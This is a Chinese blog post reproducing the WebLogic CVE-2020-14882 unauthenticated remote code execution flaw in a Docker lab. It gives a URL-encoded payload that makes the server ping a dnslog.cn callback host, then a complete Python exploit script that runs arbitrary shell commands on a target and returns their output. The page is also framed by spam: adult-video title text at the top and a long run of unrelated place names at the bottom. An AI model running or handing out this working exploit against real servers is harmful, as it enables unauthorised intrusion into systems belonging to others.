中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的

發布時間:2021-12-29 17:49:05 來源:億速云 閱讀:175 作者:柒染 欄目:安全技術

這篇文章給大家介紹weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

未經身份驗證的遠程攻擊者可能通過構造特殊的 HTTP GET請求,利用該漏洞在受影響的 WebLogic Server 上執行任意代碼。

用docker搭建的環境  ../vulhub/weblogic/CVE-2020-14882

訪問登錄界面http://192.168.81.129:7001/console/login/LoginForm.jspweblogic未授權命令執行漏洞CVE-2020-14882是怎樣的
3.pyload是 /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping 0cs5r3.dnslog.cn%27);%22);
weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的

我也是根據網上各大佬發布的文章弄得,可是在dnslog中并沒有記錄,最后我進到docker容器中進行ping命令,發現在docker中不能ping。

weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的

既然不能ping那就用python進行復現(還好自己了解點python,要不然就撞墻了)

#!/usr/bin/python3
import requests
import sys
import http.client

http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) != 3:
print("[+] Usage : python3 exploit.py http(s)://target:7001 command")
exit()
target = sys.argv[1]
command = sys.argv[2]
request = requests.session()
headers_cmd = {
'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd': command,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded'
}
cmd="""/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); 
weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); 
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); 
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); 
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();} 
currentThread.interrupt();')
"""
url_cmd = target+cmd
response = request.get(url_cmd, headers=headers_cmd, verify=False)
print(response.text)
print("[+] Attack complete!")

weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的
最后我想如果不用docker搭建環境,直接用系統是不是就可以ping了...

關于weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

大姚县| 积石山| 柳河县| 龙川县| 时尚| 平陆县| 泽州县| 清河县| 玉田县| 临漳县| 渝北区| 乐清市| 青海省| 怀宁县| 三亚市| 冷水江市| 昌平区| 古丈县| 都匀市| 河北区| 承德县| 翁牛特旗| 兖州市| 北流市| 会宁县| 满洲里市| 衡水市| 古交市| 古浪县| 大英县| 余干县| 周宁县| 宣武区| 西安市| 莱州市| 平和县| 武威市| 永兴县| 多伦县| 江北区| 永济市|